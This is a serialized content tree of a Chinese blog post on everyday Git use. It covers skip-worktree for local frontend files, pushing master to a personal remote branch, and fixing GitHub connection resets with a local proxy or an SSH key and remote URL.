忽略本地修改，不提交、不干扰同事",{"type":18,"tag":439,"props":5812,"children":5813},{},[5814,5819,5828],{"type":18,"tag":466,"props":5815,"children":5816},{"align":5772},[5817],{"type":24,"value":5818},"临时恢复本地前端文件",{"type":18,"tag":466,"props":5820,"children":5821},{"align":5772},[5822],{"type":18,"tag":74,"props":5823,"children":5825},{"className":5824},[],[5826],{"type":24,"value":5827},"git checkout -- 前端文件夹\u002F文件",{"type":18,"tag":466,"props":5829,"children":5830},{"align":5772},[5831],{"type":24,"value":5832},"撤销本地修改，同步远程版本",{"type":18,"tag":439,"props":5834,"children":5835},{},[5836,5841,5850],{"type":18,"tag":466,"props":5837,"children":5838},{"align":5772},[5839],{"type":24,"value":5840},"恢复提交前端文件权限",{"type":18,"tag":466,"props":5842,"children":5843},{"align":5772},[5844],{"type":18,"tag":74,"props":5845,"children":5847},{"className":5846},[],[5848],{"type":24,"value":5849},"git update-index --no-skip-worktree 前端文件夹\u002F文件",{"type":18,"tag":466,"props":5851,"children":5852},{"align":5772},[5853],{"type":24,"value":5854},"取消忽略，可正常提交前端修改",{"type":18,"tag":34,"props":5856,"children":5857},{},[5858],{"type":18,"tag":105,"props":5859,"children":5860},{},[5861],{"type":24,"value":5862},"注意事项",{"type":18,"tag":154,"props":5864,"children":5865},{},[5866,5886,5898],{"type":18,"tag":158,"props":5867,"children":5868},{},[5869,5871,5876,5878,5884],{"type":24,"value":5870},"执行命令前需确保在",{"type":18,"tag":105,"props":5872,"children":5873},{},[5874],{"type":24,"value":5875},"项目根目录",{"type":24,"value":5877},"（与",{"type":18,"tag":74,"props":5879,"children":5881},{"className":5880},[],[5882],{"type":24,"value":5883},".git",{"type":24,"value":5885},"文件夹同级）；",{"type":18,"tag":158,"props":5887,"children":5888},{},[5889,5891,5896],{"type":24,"value":5890},"该规则仅对",{"type":18,"tag":105,"props":5892,"children":5893},{},[5894],{"type":24,"value":5895},"本地仓库",{"type":24,"value":5897},"生效，不会影响远程仓库和同事的本地环境；",{"type":18,"tag":158,"props":5899,"children":5900},{},[5901],{"type":24,"value":5902},"若多人协作，需提前沟通避免重复配置冲突。",{"type":18,"tag":121,"props":5904,"children":5905},{},[],{"type":18,"tag":27,"props":5907,"children":5909},{"id":5908},"指令2团队-git-远程推送",[5910],{"type":24,"value":5911},"指令2：团队 Git 远程推送",{"type":18,"tag":337,"props":5913,"children":5915},{"id":5914},"场景说明-1",[5916],{"type":24,"value":5295},{"type":18,"tag":34,"props":5918,"children":5919},{},[5920,5922,5928,5930,5936],{"type":24,"value":5921},"我现在是团队后端开发者，我的远程仓库分支为 ",{"type":18,"tag":74,"props":5923,"children":5925},{"className":5924},[],[5926],{"type":24,"value":5927},"backend",{"type":24,"value":5929}," 分支，我现在需要向主分支 ",{"type":18,"tag":74,"props":5931,"children":5933},{"className":5932},[],[5934],{"type":24,"value":5935},"master",{"type":24,"value":5937}," 提交新功能！",{"type":18,"tag":210,"props":5939,"children":5940},{},[5941,5954,5968,5982,5993],{"type":18,"tag":158,"props":5942,"children":5943},{},[5944,5946],{"type":24,"value":5945},"本地开发分支：",{"type":18,"tag":105,"props":5947,"children":5948},{},[5949],{"type":18,"tag":74,"props":5950,"children":5952},{"className":5951},[],[5953],{"type":24,"value":5935},{"type":18,"tag":158,"props":5955,"children":5956},{},[5957,5959],{"type":24,"value":5958},"你负责的远程分支：",{"type":18,"tag":105,"props":5960,"children":5961},{},[5962],{"type":18,"tag":74,"props":5963,"children":5965},{"className":5964},[],[5966],{"type":24,"value":5967},"origin\u002Fbackend",{"type":18,"tag":158,"props":5969,"children":5970},{},[5971,5973],{"type":24,"value":5972},"队友负责的远程分支：",{"type":18,"tag":105,"props":5974,"children":5975},{},[5976],{"type":18,"tag":74,"props":5977,"children":5979},{"className":5978},[],[5980],{"type":24,"value":5981},"origin\u002Ffrontend",{"type":18,"tag":158,"props":5983,"children":5984},{},[5985,5987],{"type":24,"value":5986},"你的本地 master 已远超 ",{"type":18,"tag":74,"props":5988,"children":5990},{"className":5989},[],[5991],{"type":24,"value":5992},"origin\u002Fmaster",{"type":18,"tag":158,"props":5994,"children":5995},{},[5996,5998],{"type":24,"value":5997},"目标：",{"type":18,"tag":105,"props":5999,"children":6000},{},[6001,6003,6008,6010,6015],{"type":24,"value":6002},"提交新功能到 ",{"type":18,"tag":74,"props":6004,"children":6006},{"className":6005},[],[6007],{"type":24,"value":5992},{"type":24,"value":6009},"，绝不影响 ",{"type":18,"tag":74,"props":6011,"children":6013},{"className":6012},[],[6014],{"type":24,"value":5350},{"type":24,"value":6016}," 代码",{"type":18,"tag":337,"props":6018,"children":6020},{"id":6019},"安全操作流程",[6021],{"type":24,"value":6019},{"type":18,"tag":154,"props":6023,"children":6024},{},[6025],{"type":18,"tag":158,"props":6026,"children":6027},{},[6028],{"type":24,"value":6029},"拉取最新远程代码（不伤代码）",{"type":18,"tag":287,"props":6031,"children":6033},{"className":289,"code":6032,"language":291,"meta":8,"style":8},"git fetch origin\n",[6034],{"type":18,"tag":74,"props":6035,"children":6036},{"__ignoreMap":8},[6037],{"type":18,"tag":297,"props":6038,"children":6039},{"class":299,"line":300},[6040,6044,6049],{"type":18,"tag":297,"props":6041,"children":6042},{"style":304},[6043],{"type":24,"value":881},{"type":18,"tag":297,"props":6045,"children":6046},{"style":310},[6047],{"type":24,"value":6048}," fetch",{"type":18,"tag":297,"props":6050,"children":6051},{"style":310},[6052],{"type":24,"value":6053}," origin\n",{"type":18,"tag":154,"props":6055,"children":6056},{"start":657},[6057],{"type":18,"tag":158,"props":6058,"children":6059},{},[6060,6062,6067],{"type":24,"value":6061},"确保你在本地 ",{"type":18,"tag":74,"props":6063,"children":6065},{"className":6064},[],[6066],{"type":24,"value":5935},{"type":24,"value":6068}," 分支（你本地仓库负责的分支）",{"type":18,"tag":287,"props":6070,"children":6072},{"className":289,"code":6071,"language":291,"meta":8,"style":8},"git checkout master\n",[6073],{"type":18,"tag":74,"props":6074,"children":6075},{"__ignoreMap":8},[6076],{"type":18,"tag":297,"props":6077,"children":6078},{"class":299,"line":300},[6079,6083,6087],{"type":18,"tag":297,"props":6080,"children":6081},{"style":304},[6082],{"type":24,"value":881},{"type":18,"tag":297,"props":6084,"children":6085},{"style":310},[6086],{"type":24,"value":5593},{"type":18,"tag":297,"props":6088,"children":6089},{"style":310},[6090],{"type":24,"value":1289},{"type":18,"tag":154,"props":6092,"children":6093},{"start":662},[6094],{"type":18,"tag":158,"props":6095,"children":6096},{},[6097,6099,6104,6106],{"type":24,"value":6098},"把本地 ",{"type":18,"tag":74,"props":6100,"children":6102},{"className":6101},[],[6103],{"type":24,"value":5935},{"type":24,"value":6105}," 推送到 ",{"type":18,"tag":105,"props":6107,"children":6108},{},[6109,6111,6116],{"type":24,"value":6110},"你负责的远程 ",{"type":18,"tag":74,"props":6112,"children":6114},{"className":6113},[],[6115],{"type":24,"value":5927},{"type":24,"value":6117}," 分支",{"type":18,"tag":287,"props":6119,"children":6121},{"className":289,"code":6120,"language":291,"meta":8,"style":8},"git push origin master:backend\n",[6122],{"type":18,"tag":74,"props":6123,"children":6124},{"__ignoreMap":8},[6125],{"type":18,"tag":297,"props":6126,"children":6127},{"class":299,"line":300},[6128,6132,6136,6140],{"type":18,"tag":297,"props":6129,"children":6130},{"style":304},[6131],{"type":24,"value":881},{"type":18,"tag":297,"props":6133,"children":6134},{"style":310},[6135],{"type":24,"value":952},{"type":18,"tag":297,"props":6137,"children":6138},{"style":310},[6139],{"type":24,"value":935},{"type":18,"tag":297,"props":6141,"children":6142},{"style":310},[6143],{"type":24,"value":6144}," master:backend\n",{"type":18,"tag":34,"props":6146,"children":6147},{},[6148,6153,6155,6160,6162,6167,6169,6174,6176,6181],{"type":18,"tag":105,"props":6149,"children":6150},{},[6151],{"type":24,"value":6152},"命令注释",{"type":24,"value":6154},"：本地 ",{"type":18,"tag":74,"props":6156,"children":6158},{"className":6157},[],[6159],{"type":24,"value":5935},{"type":24,"value":6161}," → 推送到 远程 ",{"type":18,"tag":74,"props":6163,"children":6165},{"className":6164},[],[6166],{"type":24,"value":5967},{"type":24,"value":6168},"（不会碰 ",{"type":18,"tag":74,"props":6170,"children":6172},{"className":6171},[],[6173],{"type":24,"value":5935},{"type":24,"value":6175}," 主分支，不会碰 ",{"type":18,"tag":74,"props":6177,"children":6179},{"className":6178},[],[6180],{"type":24,"value":5350},{"type":24,"value":6182},"）",{"type":18,"tag":154,"props":6184,"children":6185},{"start":799},[6186],{"type":18,"tag":158,"props":6187,"children":6188},{},[6189,6191],{"type":24,"value":6190},"在 GitHub 上发起 ",{"type":18,"tag":105,"props":6192,"children":6193},{},[6194],{"type":24,"value":6195},"Pull Request (PR)",{"type":18,"tag":210,"props":6197,"children":6198},{},[6199,6209,6219],{"type":18,"tag":158,"props":6200,"children":6201},{},[6202,6204],{"type":24,"value":6203},"base: ",{"type":18,"tag":74,"props":6205,"children":6207},{"className":6206},[],[6208],{"type":24,"value":5935},{"type":18,"tag":158,"props":6210,"children":6211},{},[6212,6214],{"type":24,"value":6213},"compare: ",{"type":18,"tag":74,"props":6215,"children":6217},{"className":6216},[],[6218],{"type":24,"value":5927},{"type":18,"tag":158,"props":6220,"children":6221},{},[6222],{"type":24,"value":6223},"创建 PR → 合并",{"type":18,"tag":34,"props":6225,"children":6226},{},[6227],{"type":18,"tag":6228,"props":6229,"children":6230},"em",{},[6231],{"type":24,"value":6232},"如果你想直接本地合并（不发起 PR）",{"type":18,"tag":287,"props":6234,"children":6236},{"className":289,"code":6235,"language":291,"meta":8,"style":8},"git checkout master\ngit pull origin master   # 同步最新主分支\ngit push origin master   # 推送你的功能\n",[6237],{"type":18,"tag":74,"props":6238,"children":6239},{"__ignoreMap":8},[6240,6255,6281],{"type":18,"tag":297,"props":6241,"children":6242},{"class":299,"line":300},[6243,6247,6251],{"type":18,"tag":297,"props":6244,"children":6245},{"style":304},[6246],{"type":24,"value":881},{"type":18,"tag":297,"props":6248,"children":6249},{"style":310},[6250],{"type":24,"value":5593},{"type":18,"tag":297,"props":6252,"children":6253},{"style":310},[6254],{"type":24,"value":1289},{"type":18,"tag":297,"props":6256,"children":6257},{"class":299,"line":657},[6258,6262,6267,6271,6276],{"type":18,"tag":297,"props":6259,"children":6260},{"style":304},[6261],{"type":24,"value":881},{"type":18,"tag":297,"props":6263,"children":6264},{"style":310},[6265],{"type":24,"value":6266}," pull",{"type":18,"tag":297,"props":6268,"children":6269},{"style":310},[6270],{"type":24,"value":935},{"type":18,"tag":297,"props":6272,"children":6273},{"style":310},[6274],{"type":24,"value":6275}," master",{"type":18,"tag":297,"props":6277,"children":6278},{"style":5380},[6279],{"type":24,"value":6280},"   # 同步最新主分支\n",{"type":18,"tag":297,"props":6282,"children":6283},{"class":299,"line":662},[6284,6288,6292,6296,6300],{"type":18,"tag":297,"props":6285,"children":6286},{"style":304},[6287],{"type":24,"value":881},{"type":18,"tag":297,"props":6289,"children":6290},{"style":310},[6291],{"type":24,"value":952},{"type":18,"tag":297,"props":6293,"children":6294},{"style":310},[6295],{"type":24,"value":935},{"type":18,"tag":297,"props":6297,"children":6298},{"style":310},[6299],{"type":24,"value":6275},{"type":18,"tag":297,"props":6301,"children":6302},{"style":5380},[6303],{"type":24,"value":6304},"   # 推送你的功能\n",{"type":18,"tag":34,"props":6306,"children":6307},{},[6308],{"type":18,"tag":105,"props":6309,"children":6310},{},[6311],{"type":24,"value":6312},"绝对不能做（会覆盖队友代码）",{"type":18,"tag":154,"props":6314,"children":6315},{},[6316,6327,6338],{"type":18,"tag":158,"props":6317,"children":6318},{},[6319,6321],{"type":24,"value":6320},"不要用 ",{"type":18,"tag":74,"props":6322,"children":6324},{"className":6323},[],[6325],{"type":24,"value":6326},"git push --force",{"type":18,"tag":158,"props":6328,"children":6329},{},[6330,6332,6337],{"type":24,"value":6331},"不要动 ",{"type":18,"tag":74,"props":6333,"children":6335},{"className":6334},[],[6336],{"type":24,"value":5350},{"type":24,"value":6117},{"type":18,"tag":158,"props":6339,"children":6340},{},[6341],{"type":24,"value":6342},"不要强推覆盖主分支",{"type":18,"tag":121,"props":6344,"children":6345},{},[],{"type":18,"tag":27,"props":6347,"children":6349},{"id":6348},"指令3connection-was-reset-解决方案",[6350],{"type":24,"value":6351},"指令3：Connection was reset 解决方案",{"type":18,"tag":337,"props":6353,"children":6355},{"id":6354},"错误截图",[6356],{"type":24,"value":6354},{"type":18,"tag":34,"props":6358,"children":6359},{},[6360],{"type":18,"tag":54,"props":6361,"children":6364},{"alt":6362,"src":6363},"1777951180085","\u002Fimages\u002Fblog\u002Fgit-commands\u002F1777951180085.png",[],{"type":18,"tag":337,"props":6366,"children":6368},{"id":6367},"git-连接失败解决方案",[6369],{"type":24,"value":6370},"Git 连接失败解决方案",{"type":18,"tag":34,"props":6372,"children":6373},{},[6374],{"type":18,"tag":105,"props":6375,"children":6376},{},[6377],{"type":24,"value":6378},"问题现象",{"type":18,"tag":34,"props":6380,"children":6381},{},[6382,6384,6390],{"type":24,"value":6383},"执行 ",{"type":18,"tag":74,"props":6385,"children":6387},{"className":6386},[],[6388],{"type":24,"value":6389},"git push\u002Fpull",{"type":24,"value":6391}," 时报错：",{"type":18,"tag":287,"props":6393,"children":6395},{"className":289,"code":6394,"language":291,"meta":8,"style":8},"Recv failure: Connection was reset\nFailed to connect to github.com port 443: Could not connect to server\n",[6396],{"type":18,"tag":74,"props":6397,"children":6398},{"__ignoreMap":8},[6399,6427],{"type":18,"tag":297,"props":6400,"children":6401},{"class":299,"line":300},[6402,6407,6412,6417,6422],{"type":18,"tag":297,"props":6403,"children":6404},{"style":304},[6405],{"type":24,"value":6406},"Recv",{"type":18,"tag":297,"props":6408,"children":6409},{"style":310},[6410],{"type":24,"value":6411}," failure:",{"type":18,"tag":297,"props":6413,"children":6414},{"style":310},[6415],{"type":24,"value":6416}," Connection",{"type":18,"tag":297,"props":6418,"children":6419},{"style":310},[6420],{"type":24,"value":6421}," was",{"type":18,"tag":297,"props":6423,"children":6424},{"style":310},[6425],{"type":24,"value":6426}," reset\n",{"type":18,"tag":297,"props":6428,"children":6429},{"class":299,"line":657},[6430,6435,6440,6445,6449,6454,6459,6464,6469,6474,6478,6482],{"type":18,"tag":297,"props":6431,"children":6432},{"style":304},[6433],{"type":24,"value":6434},"Failed",{"type":18,"tag":297,"props":6436,"children":6437},{"style":310},[6438],{"type":24,"value":6439}," to",{"type":18,"tag":297,"props":6441,"children":6442},{"style":310},[6443],{"type":24,"value":6444}," connect",{"type":18,"tag":297,"props":6446,"children":6447},{"style":310},[6448],{"type":24,"value":6439},{"type":18,"tag":297,"props":6450,"children":6451},{"style":310},[6452],{"type":24,"value":6453}," github.com",{"type":18,"tag":297,"props":6455,"children":6456},{"style":310},[6457],{"type":24,"value":6458}," port",{"type":18,"tag":297,"props":6460,"children":6461},{"style":310},[6462],{"type":24,"value":6463}," 443:",{"type":18,"tag":297,"props":6465,"children":6466},{"style":310},[6467],{"type":24,"value":6468}," Could",{"type":18,"tag":297,"props":6470,"children":6471},{"style":310},[6472],{"type":24,"value":6473}," not",{"type":18,"tag":297,"props":6475,"children":6476},{"style":310},[6477],{"type":24,"value":6444},{"type":18,"tag":297,"props":6479,"children":6480},{"style":310},[6481],{"type":24,"value":6439},{"type":18,"tag":297,"props":6483,"children":6484},{"style":310},[6485],{"type":24,"value":6486}," server\n",{"type":18,"tag":34,"props":6488,"children":6489},{},[6490],{"type":18,"tag":105,"props":6491,"children":6492},{},[6493],{"type":24,"value":6494},"核心原因",{"type":18,"tag":34,"props":6496,"children":6497},{},[6498,6500,6506,6508,6514],{"type":24,"value":6499},"使用 ",{"type":18,"tag":74,"props":6501,"children":6503},{"className":6502},[],[6504],{"type":24,"value":6505},"v2rayN",{"type":24,"value":6507}," 代理工具导致本地网络无法正常访问 ",{"type":18,"tag":74,"props":6509,"children":6511},{"className":6510},[],[6512],{"type":24,"value":6513},"GitHub HTTPS",{"type":24,"value":6515}," 端口（443），Git 未配置代理导致连接失败。",{"type":18,"tag":34,"props":6517,"children":6518},{},[6519],{"type":18,"tag":105,"props":6520,"children":6521},{},[6522],{"type":24,"value":6523},"最终解决方案",{"type":18,"tag":34,"props":6525,"children":6526},{},[6527,6529,6534],{"type":24,"value":6528},"通过 Git 全局代理配置 解决，执行以下命令，配置完成后，重新执行 ",{"type":18,"tag":74,"props":6530,"children":6532},{"className":6531},[],[6533],{"type":24,"value":6389},{"type":24,"value":6535}," 即可正常连接 GitHub。",{"type":18,"tag":287,"props":6537,"children":6539},{"className":289,"code":6538,"language":291,"meta":8,"style":8},"# 配置 Git 全局 HTTP\u002FHTTPS 代理（替换为自己的本地代理端口，v2rayN常用 10808）\ngit config --global http.proxy http:\u002F\u002F127.0.0.1:10808 # 该问题当我执行这条指令后就已解决问题\ngit config --global https.proxy http:\u002F\u002F127.0.0.1:10808\n",[6540],{"type":18,"tag":74,"props":6541,"children":6542},{"__ignoreMap":8},[6543,6551,6583],{"type":18,"tag":297,"props":6544,"children":6545},{"class":299,"line":300},[6546],{"type":18,"tag":297,"props":6547,"children":6548},{"style":5380},[6549],{"type":24,"value":6550},"# 配置 Git 全局 HTTP\u002FHTTPS 代理（替换为自己的本地代理端口，v2rayN常用 10808）\n",{"type":18,"tag":297,"props":6552,"children":6553},{"class":299,"line":657},[6554,6558,6563,6568,6573,6578],{"type":18,"tag":297,"props":6555,"children":6556},{"style":304},[6557],{"type":24,"value":881},{"type":18,"tag":297,"props":6559,"children":6560},{"style":310},[6561],{"type":24,"value":6562}," config",{"type":18,"tag":297,"props":6564,"children":6565},{"style":906},[6566],{"type":24,"value":6567}," --global",{"type":18,"tag":297,"props":6569,"children":6570},{"style":310},[6571],{"type":24,"value":6572}," http.proxy",{"type":18,"tag":297,"props":6574,"children":6575},{"style":310},[6576],{"type":24,"value":6577}," http:\u002F\u002F127.0.0.1:10808",{"type":18,"tag":297,"props":6579,"children":6580},{"style":5380},[6581],{"type":24,"value":6582}," # 该问题当我执行这条指令后就已解决问题\n",{"type":18,"tag":297,"props":6584,"children":6585},{"class":299,"line":662},[6586,6590,6594,6598,6603],{"type":18,"tag":297,"props":6587,"children":6588},{"style":304},[6589],{"type":24,"value":881},{"type":18,"tag":297,"props":6591,"children":6592},{"style":310},[6593],{"type":24,"value":6562},{"type":18,"tag":297,"props":6595,"children":6596},{"style":906},[6597],{"type":24,"value":6567},{"type":18,"tag":297,"props":6599,"children":6600},{"style":310},[6601],{"type":24,"value":6602}," https.proxy",{"type":18,"tag":297,"props":6604,"children":6605},{"style":310},[6606],{"type":24,"value":6607}," http:\u002F\u002F127.0.0.1:10808\n",{"type":18,"tag":34,"props":6609,"children":6610},{},[6611],{"type":18,"tag":105,"props":6612,"children":6613},{},[6614],{"type":24,"value":6615},"取消代理（无需代理时使用）",{"type":18,"tag":287,"props":6617,"children":6619},{"className":289,"code":6618,"language":291,"meta":8,"style":8},"git config --global --unset http.proxy\ngit config --global --unset https.proxy\n",[6620],{"type":18,"tag":74,"props":6621,"children":6622},{"__ignoreMap":8},[6623,6648],{"type":18,"tag":297,"props":6624,"children":6625},{"class":299,"line":300},[6626,6630,6634,6638,6643],{"type":18,"tag":297,"props":6627,"children":6628},{"style":304},[6629],{"type":24,"value":881},{"type":18,"tag":297,"props":6631,"children":6632},{"style":310},[6633],{"type":24,"value":6562},{"type":18,"tag":297,"props":6635,"children":6636},{"style":906},[6637],{"type":24,"value":6567},{"type":18,"tag":297,"props":6639,"children":6640},{"style":906},[6641],{"type":24,"value":6642}," --unset",{"type":18,"tag":297,"props":6644,"children":6645},{"style":310},[6646],{"type":24,"value":6647}," http.proxy\n",{"type":18,"tag":297,"props":6649,"children":6650},{"class":299,"line":657},[6651,6655,6659,6663,6667],{"type":18,"tag":297,"props":6652,"children":6653},{"style":304},[6654],{"type":24,"value":881},{"type":18,"tag":297,"props":6656,"children":6657},{"style":310},[6658],{"type":24,"value":6562},{"type":18,"tag":297,"props":6660,"children":6661},{"style":906},[6662],{"type":24,"value":6567},{"type":18,"tag":297,"props":6664,"children":6665},{"style":906},[6666],{"type":24,"value":6642},{"type":18,"tag":297,"props":6668,"children":6669},{"style":310},[6670],{"type":24,"value":6671}," https.proxy\n",{"type":18,"tag":34,"props":6673,"children":6674},{},[6675],{"type":18,"tag":105,"props":6676,"children":6677},{},[6678],{"type":24,"value":6679},"查看当前代理配置",{"type":18,"tag":287,"props":6681,"children":6683},{"className":289,"code":6682,"language":291,"meta":8,"style":8},"git config --global --get http.proxy\ngit config --global --get https.proxy\n",[6684],{"type":18,"tag":74,"props":6685,"children":6686},{"__ignoreMap":8},[6687,6711],{"type":18,"tag":297,"props":6688,"children":6689},{"class":299,"line":300},[6690,6694,6698,6702,6707],{"type":18,"tag":297,"props":6691,"children":6692},{"style":304},[6693],{"type":24,"value":881},{"type":18,"tag":297,"props":6695,"children":6696},{"style":310},[6697],{"type":24,"value":6562},{"type":18,"tag":297,"props":6699,"children":6700},{"style":906},[6701],{"type":24,"value":6567},{"type":18,"tag":297,"props":6703,"children":6704},{"style":906},[6705],{"type":24,"value":6706}," --get",{"type":18,"tag":297,"props":6708,"children":6709},{"style":310},[6710],{"type":24,"value":6647},{"type":18,"tag":297,"props":6712,"children":6713},{"class":299,"line":657},[6714,6718,6722,6726,6730],{"type":18,"tag":297,"props":6715,"children":6716},{"style":304},[6717],{"type":24,"value":881},{"type":18,"tag":297,"props":6719,"children":6720},{"style":310},[6721],{"type":24,"value":6562},{"type":18,"tag":297,"props":6723,"children":6724},{"style":906},[6725],{"type":24,"value":6567},{"type":18,"tag":297,"props":6727,"children":6728},{"style":906},[6729],{"type":24,"value":6706},{"type":18,"tag":297,"props":6731,"children":6732},{"style":310},[6733],{"type":24,"value":6671},{"type":18,"tag":34,"props":6735,"children":6736},{},[6737],{"type":18,"tag":105,"props":6738,"children":6739},{},[6740],{"type":24,"value":5323},{"type":18,"tag":34,"props":6742,"children":6743},{},[6744],{"type":24,"value":6745},"本地开启了科学上网，浏览器可访问 GitHub，但 Git 命令行连接失败的情况。",{"type":18,"tag":96,"props":6747,"children":6748},{},[6749],{"type":18,"tag":34,"props":6750,"children":6751},{},[6752],{"type":24,"value":6753},"总结\n问题：Git 连接 GitHub 443 端口被重置，网络不通\n解决：git config --global 配置本地代理\n验证：重新执行 Git 操作，连接成功",{"type":18,"tag":337,"props":6755,"children":6757},{"id":6756},"切换https至git连接",[6758],{"type":24,"value":6759},"切换HTTPS至Git连接",{"type":18,"tag":34,"props":6761,"children":6762},{},[6763,6775,6777,6783,6785,6791],{"type":18,"tag":105,"props":6764,"children":6765},{},[6766,6768,6773],{"type":24,"value":6767},"代理 + ",{"type":18,"tag":74,"props":6769,"children":6771},{"className":6770},[],[6772],{"type":24,"value":6513},{"type":24,"value":6774}," 连接被强制重置，根本推不上去",{"type":24,"value":6776},"，可以尝试直接改用 ",{"type":18,"tag":74,"props":6778,"children":6780},{"className":6779},[],[6781],{"type":24,"value":6782},"SSH",{"type":24,"value":6784}," 推送（彻底绕开 ",{"type":18,"tag":74,"props":6786,"children":6788},{"className":6787},[],[6789],{"type":24,"value":6790},"HTTPS",{"type":24,"value":6792}," 被拦截的问题）",{"type":18,"tag":154,"props":6794,"children":6795},{},[6796],{"type":18,"tag":158,"props":6797,"children":6798},{},[6799,6804],{"type":18,"tag":105,"props":6800,"children":6801},{},[6802],{"type":24,"value":6803},"生成 SSH 密钥",{"type":24,"value":6805},"（一路回车，不用输密码）",{"type":18,"tag":287,"props":6807,"children":6809},{"className":289,"code":6808,"language":291,"meta":8,"style":8},"ssh-keygen -t ed25519\n",[6810],{"type":18,"tag":74,"props":6811,"children":6812},{"__ignoreMap":8},[6813],{"type":18,"tag":297,"props":6814,"children":6815},{"class":299,"line":300},[6816,6821,6826],{"type":18,"tag":297,"props":6817,"children":6818},{"style":304},[6819],{"type":24,"value":6820},"ssh-keygen",{"type":18,"tag":297,"props":6822,"children":6823},{"style":906},[6824],{"type":24,"value":6825}," -t",{"type":18,"tag":297,"props":6827,"children":6828},{"style":310},[6829],{"type":24,"value":6830}," ed25519\n",{"type":18,"tag":154,"props":6832,"children":6833},{"start":657},[6834],{"type":18,"tag":158,"props":6835,"children":6836},{},[6837],{"type":18,"tag":105,"props":6838,"children":6839},{},[6840],{"type":24,"value":6841},"复制公钥",{"type":18,"tag":287,"props":6843,"children":6845},{"className":289,"code":6844,"language":291,"meta":8,"style":8},"cat ~\u002F.ssh\u002Fid_ed25519.pub\n",[6846],{"type":18,"tag":74,"props":6847,"children":6848},{"__ignoreMap":8},[6849],{"type":18,"tag":297,"props":6850,"children":6851},{"class":299,"line":300},[6852,6857],{"type":18,"tag":297,"props":6853,"children":6854},{"style":304},[6855],{"type":24,"value":6856},"cat",{"type":18,"tag":297,"props":6858,"children":6859},{"style":310},[6860],{"type":24,"value":6861}," ~\u002F.ssh\u002Fid_ed25519.pub\n",{"type":18,"tag":34,"props":6863,"children":6864},{},[6865,6867,6872],{"type":24,"value":6866},"​\t把输出的一长串内容",{"type":18,"tag":105,"props":6868,"children":6869},{},[6870],{"type":24,"value":6871},"全选复制",{"type":24,"value":111},{"type":18,"tag":154,"props":6874,"children":6875},{"start":662},[6876,6909],{"type":18,"tag":158,"props":6877,"children":6878},{},[6879,6881,6885,6887,6893,6894,6900,6901,6907],{"type":24,"value":6880},"打开 GitHub 添加密钥",{"type":18,"tag":6882,"props":6883,"children":6884},"br",{},[],{"type":24,"value":6886},"GitHub → 右上角头像 → ",{"type":18,"tag":74,"props":6888,"children":6890},{"className":6889},[],[6891],{"type":24,"value":6892},"Settings",{"type":24,"value":81},{"type":18,"tag":74,"props":6895,"children":6897},{"className":6896},[],[6898],{"type":24,"value":6899},"SSH and GPG keys",{"type":24,"value":81},{"type":18,"tag":74,"props":6902,"children":6904},{"className":6903},[],[6905],{"type":24,"value":6906},"New SSH key",{"type":24,"value":6908}," 粘贴刚才复制的内容，保存。",{"type":18,"tag":158,"props":6910,"children":6911},{},[6912],{"type":18,"tag":105,"props":6913,"children":6914},{},[6915],{"type":24,"value":6916},"切换仓库为 SSH 地址",{"type":18,"tag":287,"props":6918,"children":6920},{"className":289,"code":6919,"language":291,"meta":8,"style":8},"git remote set-url origin git@github.com:Couiolly\u002FAIHeartCrisis.git\n",[6921],{"type":18,"tag":74,"props":6922,"children":6923},{"__ignoreMap":8},[6924],{"type":18,"tag":297,"props":6925,"children":6926},{"class":299,"line":300},[6927,6931,6935,6940,6944],{"type":18,"tag":297,"props":6928,"children":6929},{"style":304},[6930],{"type":24,"value":881},{"type":18,"tag":297,"props":6932,"children":6933},{"style":310},[6934],{"type":24,"value":926},{"type":18,"tag":297,"props":6936,"children":6937},{"style":310},[6938],{"type":24,"value":6939}," set-url",{"type":18,"tag":297,"props":6941,"children":6942},{"style":310},[6943],{"type":24,"value":935},{"type":18,"tag":297,"props":6945,"children":6946},{"style":310},[6947],{"type":24,"value":6948}," git@github.com:Couiolly\u002FAIHeartCrisis.git\n",{"type":18,"tag":154,"props":6950,"children":6951},{"start":808},[6952],{"type":18,"tag":158,"props":6953,"children":6954},{},[6955],{"type":18,"tag":105,"props":6956,"children":6957},{},[6958],{"type":24,"value":6959},"直接推送（就是你要的 master → 后）",{"type":18,"tag":287,"props":6961,"children":6963},{"className":289,"code":6962,"language":291,"meta":8,"style":8},"git push origin master:后\n",[6964],{"type":18,"tag":74,"props":6965,"children":6966},{"__ignoreMap":8},[6967],{"type":18,"tag":297,"props":6968,"children":6969},{"class":299,"line":300},[6970,6974,6978,6982],{"type":18,"tag":297,"props":6971,"children":6972},{"style":304},[6973],{"type":24,"value":881},{"type":18,"tag":297,"props":6975,"children":6976},{"style":310},[6977],{"type":24,"value":952},{"type":18,"tag":297,"props":6979,"children":6980},{"style":310},[6981],{"type":24,"value":935},{"type":18,"tag":297,"props":6983,"children":6984},{"style":310},[6985],{"type":24,"value":6986}," master:后\n",{"type":18,"tag":651,"props":6988,"children":6989},{},[6990],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":6992},[6993,6994,6995],{"id":5289,"depth":662,"text":5292},{"id":5908,"depth":662,"text":5911},{"id":6348,"depth":662,"text":6351},"content:blog:2026-05-09-GitCommands.md","blog\u002F2026-05-09-GitCommands.md","blog\u002F2026-05-09-GitCommands",{"_path":7000,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":7001,"description":7002,"date":7003,"tags":7004,"body":7005,"_type":672,"_id":8888,"_source":674,"_file":8889,"_stem":8890,"_extension":677},"\u002Fblog\u002F2026-05-05-gitadvanced","Git 进阶篇","Git 进阶教程：远程仓库操作、SSH公钥配置、PyCharm中Git可视化管理、分支合并冲突解决。","2026-05-05",[686,5284],{"type":15,"children":7006,"toc":8867},[7007,7013,7024,7036,7128,7131,7137,7151,7159,7165,7170,7178,7184,7598,7661,7667,8090,8096,8109,8140,8146,8151,8298,8304,8314,8331,8339,8351,8357,8363,8368,8376,8382,8537,8543,8596,8602,8746,8752,8830,8836,8863],{"type":18,"tag":19,"props":7008,"children":7010},{"id":7009},"_1-git-远程仓库",[7011],{"type":24,"value":7012},"1 Git 远程仓库",{"type":18,"tag":27,"props":7014,"children":7016},{"id":7015},"_11-常用的托管服务-远程仓库",[7017,7019],{"type":24,"value":7018},"1.1 常用的托管服务 